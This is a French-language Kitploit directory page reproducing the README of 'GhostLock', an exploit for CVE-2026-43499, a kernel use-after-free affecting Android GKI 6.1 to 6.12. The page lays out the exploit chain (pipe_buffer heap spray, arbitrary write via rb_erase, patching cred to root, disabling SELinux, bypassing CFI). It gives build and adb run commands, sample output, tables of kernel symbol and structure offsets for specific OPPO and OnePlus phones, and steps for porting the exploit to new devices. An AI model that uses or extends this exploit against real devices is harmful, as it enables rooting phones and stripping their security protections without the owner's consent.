Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
GhostLock — CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ?????? | Kitploit
Outils/GitHubGitHub/wzhdgithub/ghostlock
Sécurité AndroidEscalade de PrivilègesAnalyse des VulnérabilitésExploitationRétro-ingénierieExploitation de Binaires
GitHubwzhdgithub/ghostlock

GhostLock

CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????

Voir le dépôt
39il y a 28 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

GhostLock - Exploitation d'élévation de privilèges locale CVE-2026-43499

Aperçu de la vulnérabilité

Identifiant CVE : CVE-2026-43499
Type de vulnérabilité : UAF (Use-After-Free) de la pile futex PI (héritage de priorité)
Versions concernées : Noyau Linux 6.1 ~ 6.12 (Android GKI)
Résultat de l'exploitation : Élévation de privilèges locale + désactivation de SELinux, obtention d'un shell root

Principe de fonctionnement

Chemin de déclenchement de la vulnérabilité

root@kitploit:~
Espace utilisateur → pselect() → allocation de rt_mutex_waiter sur la pile du noyau
                      → les opérations futex PI déclenchent la libération du waiter
                      → la mémoire du waiter libéré est réutilisée par les opérations fd_set
                      → contrôle des champs du waiter via des données fd_set soigneusement construites
                      → rb_erase() déclenche une écriture arbitraire dans la mémoire du noyau

Chaîne d'exploitation

  1. Déclenchement de la vulnérabilité : libération concurrente du rt_mutex_waiter sur la pile du noyau via pselect() + futex PI
  2. Contrôle de la disposition mémoire : spray du tas du noyau avec pipe_buffer pour construire un faux rt_mutex_waiter
  3. Écriture arbitraire : exploitation des opérations d'arbre de rb_erase() pour écrire des pointeurs contrôlés à l'adresse cible
  4. Chemin d'élévation :
    • Modification de la structure cred : uid/gid → 0, capabilities → toutes activées
    • Désactivation de SELinux : selinux_state.enforcing → 0
  5. Vérification : nouveau scan de ashmem_fops pour confirmer l'intégrité CFI

Structure du projet

root@kitploit:~
GhostLock/
├── README.md                    # Ce document
├── src/
│   ├── core/                    # Code d'exploitation principal
│   │   ├── main.c               # Point d'entrée principal, déclenchement de la vulnérabilité
│   │   ├── pipe.c               # Spray pipe_buffer
│   │   ├── fops.c               # Détournement des opérations de fichiers
│   │   ├── root.c               # Élévation de privilèges + désactivation de SELinux
│   │   ├── slide.c              # Gestion de la randomisation des adresses du noyau
│   │   ├── util.c               # Fonctions utilitaires
│   │   ├── miniadb.c            # Mini serveur ADB
│   │   ├── common.h             # Définitions communes
│   │   ├── target.h             # Configuration de la cible
│   │   ├── offset.h             # Inclusion des décalages
│   │   ├── runtime_offsets.h    # Table des décalages d'exécution
│   │   └── kernelsnitch/        # Sondage des adresses du noyau
│   │       ├── kernelsnitch.h
│   │       ├── futex_hash.h
│   │       ├── utils.h
│   │       └── timeutils.h
│   └── devices/                 # Adaptation des appareils
│       ├── offsets.h            # Définition de la structure des décalages
│       ├── findx8/              # OPPO Find X8
│       │   └── offsets.h
│       ├── ace6t/               # OnePlus Ace 6T
│       │   └── offsets.h
│       ├── op15/                # OnePlus 15
│       │   └── offsets.h
│       ├── opd2502/             # OnePlus Pad 2
│       │   └── offsets.h
│       └── rmx5070/             # Realme RMX5070
│           └── offsets.h
├── tools/                       # Outils auxiliaires
│   └── extract_btf.py           # Script d'extraction des décalages BTF
├── btf_*.py                     # Collection de scripts d'analyse BTF
├── Makefile                     # Script de construction
├── compile.cmd                  # Script de compilation Windows
├── build.rsp                    # Fichier de réponse de compilation
└── ghostlock                    # Artefact de compilation (ELF aarch64)

Appareils pris en charge

Compilation

Prérequis

  • Android NDK r27c ou version ultérieure
  • Python 3.x (pour l'analyse BTF)
  • Linux/macOS/WSL (Linux recommandé)

Étapes de compilation

root@kitploit:~
# 1. Définir le chemin du NDK
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c

# 2. Compiler
make

# 3. Ou compiler directement avec le NDK
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  --target=aarch64-linux-android35 \
  -O2 -Wall -fPIE -pie -pthread \
  -Isrc/core -Isrc/devices \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/core/*.c -o ghostlock

Compilation sous Windows

root@kitploit:~
# Utiliser le compile.cmd fourni
compile.cmd

Utilisation

Conditions préalables

  1. Le débogage USB est activé sur le téléphone
  2. Le pilote ADB est installé sur l'ordinateur
  3. Le téléphone est connecté à l'ordinateur via USB

Étapes

root@kitploit:~
# 1. Vérifier la connexion de l'appareil
adb devices

# 2. Vérifier la version du noyau (doit correspondre)
adb shell uname -r
# Sortie attendue : 6.6.118-android15-8-gebdfad32d749-ab15099304-4k

# 3. Transférer l'exploit vers le téléphone
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock

# 4. Exécuter l'exploit
adb shell /data/local/tmp/ghostlock

Exemple de sortie d'exécution

root@kitploit:~
[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...

Indicateurs de succès

  • Apparition de l'invite # (shell root)
  • La commande id affiche uid=0(root)
  • getenforce renvoie Permissive

Détails techniques

Disposition de la mémoire du noyau

root@kitploit:~
KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
PAGE_OFFSET      = 0xffffffc000000000
PHYS_OFFSET      = 0x40000000
DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)

Décalages des symboles clés (Find X8)

Décalages des structures (validation BTF)

Parcours d'exploitation

  1. kernelsnitch - scanne la zone direct_map pour localiser mm_struct
  2. pipe spray - occupe la mémoire du waiter libéré avec pipe_buffer
  3. pselect trigger - déclenche l'UAF, réutilise le waiter libéré
  4. rb_erase write - effectue une écriture arbitraire via les opérations de l'arbre rouge-noir
  5. cred patch - modifie les identifiants du processus courant
  6. SELinux disable - désactive le contrôle d'accès obligatoire

Adaptation des appareils

Ajout d'un nouvel appareil

  1. Extraction de l'image du noyau :

    root@kitploit:~
    # Extraire boot.img du téléphone
    adb pull /dev/block/by-name/boot boot.img
    
    # Ou extraire à partir du pack de firmware
    
  2. Extraction de kallsyms :

    root@kitploit:~
    # Utiliser vmlinux-to-elf
    python3 -m vmlinux_to_elf boot.img
    # Choisir l'option "Extract kallsyms"
    
  3. Extraction des informations BTF :

    root@kitploit:~
    python3 btf_task2.py > task_full.txt
    python3 btf_structs2.py > structs.txt
    
  4. Création d'une entrée d'appareil :

    root@kitploit:~
    mkdir -p src/devices/mydevice
    # Copier une entrée existante comme modèle
    cp src/devices/findx8/offsets.h src/devices/mydevice/
    # Modifier les décalages
    
  5. Enregistrement de l'appareil : Ajouter dans src/devices/offsets.h :

    root@kitploit:~
    #include "mydevice/offsets.h"
    

Méthodes d'obtention des décalages

Scripts utilitaires

Scripts d'analyse BTF

root@kitploit:~
# Extraire tous les membres de task_struct
python3 btf_task2.py > task_full.txt

# Extraire toutes les structures clés
python3 btf_structs2.py > structs.txt

# Extraire des structures spécifiques
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt

# Extraire les données BTF brutes
python3 btf_raw.py > raw.txt

Extraction de kallsyms

root@kitploit:~
# Utiliser vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin

# Ou utiliser un script personnalisé
python3 run_kallsyms_finder.py

Notes de sécurité

⚠️ Avertissement : Cet outil est destiné uniquement à la recherche en sécurité et aux tests autorisés. L'utilisation non autorisée sur les appareils d'autrui est illégale.

Limitations connues

  • Le débogage USB doit être activé
  • Une connexion ADB est requise (pas d'exploitation à distance)
  • La version du noyau doit correspondre exactement
  • Certains appareils peuvent disposer de mécanismes de sécurité supplémentaires

Protection CFI

Cet exploit peut contourner la protection Control Flow Integrity (CFI) du noyau en :

  1. vérifiant la validité de l'adresse d'ashmem_fops
  2. utilisant copy_splice_read comme cible d'appel légitime
  3. re-scannant pour confirmer l'intégrité CFI

Débogage

Problèmes courants

Q : « no offsets for kernel: xxx » apparaît R : La version du noyau n'est pas prise en charge, il faut ajouter une entrée d'appareil

Q : L'exploit reste bloqué R : Il s'agit probablement d'un échec de la condition de course, réessayez plusieurs fois

Q : Un kernel panic se produit R : Peu probable (panic_on_oops n'est pas défini), mais vous pouvez vérifier dmesg

Sortie de débogage

root@kitploit:~
# Activer la sortie détaillée
adb shell /data/local/tmp/ghostlock -v

# Consulter les journaux du noyau
adb shell dmesg | tail -50

Ressources associées

  • Détails de CVE-2026-43499
  • Recherche originale sur GhostLock
  • Noyau Android GKI

Licence

Ce projet est distribué sous licence MIT.

Remerciements

  • Merci à tous les chercheurs en sécurité pour leurs contributions
  • Merci à l'équipe sécurité d'Android pour sa réactivité
  • Merci à la communauté open source pour son soutien

Dernière mise à jour : 13 août 2026
Auteur : wzh
Contact : [email protected]

Télécharger l’outil
AppareilVersion du noyauStatut
OPPO Find X8 (MT6991)6.6.118-android15✅ Adapté
OnePlus Ace 6T6.1.x✅ Vérifié
OnePlus 156.1.x✅ Vérifié
OnePlus Pad 26.1.x✅ Vérifié
Realme RMX50706.1.x✅ Vérifié
SymboleDécalage
init_task0x0211E280
init_cred0x02130748
selinux_enforcing0x02358EE0
ashmem_misc0x0227C518
ashmem_fops0x012EF5C0
kmalloc_caches0x0167A298
StructureChampDécalage
task_structcred0x820
task_structreal_cred0x818
task_structtasks0x550
task_structpi_lock0x90C
task_structseccomp0x8E8
creduid0x08
credcaps0x30
file_operationsioctl0x48
file_operationssplice_read0xB8
InformationSourceOutil
Adresses des symboleskallsymsvmlinux-to-elf
Décalages des structuresBTFbtf_task2.py
Disposition de la mémoire physiqueIKCONFIGextract-ikconfig
Version du noyauunameadb shell uname -r